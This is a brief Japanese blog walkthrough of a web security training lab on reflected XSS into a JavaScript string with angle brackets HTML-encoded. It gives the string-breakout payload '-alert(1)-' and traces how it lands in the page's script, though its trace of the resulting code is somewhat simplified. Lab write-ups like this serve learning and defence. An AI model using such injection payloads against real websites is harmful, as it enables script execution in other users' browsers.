academy xss 9問目 XSSをHTMLエンコードされた山括弧付きのJavaScript文字列に反映

XSS

Reflected XSS into a JavaScript string with angle brackets HTML encoded

検索欄に適当な文字を入れ、リクエストを確認
入れた文字がレスポンスのJSに反映されてます

検索欄に

'-alert(1)-'

をいれます。クリア!

JSソースを追ってみます。

var searchTerms = 'abc';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');

abcの位置に、

'-alert(1)-'

が入って、

var searchTerms = ''-alert(1)-'';

var searchTerms = alert(1);

document.write('<img src="/resources/images/tracker.gif?searchTerms='alert(1);'">');

*alert(1);部分は、URLエンコードされてますが。

結果、searchTermsで受け取って、そのまま表示しているので、
alert(1); が実行されてしまいます。

–)v

コメント

タイトルとURLをコピーしました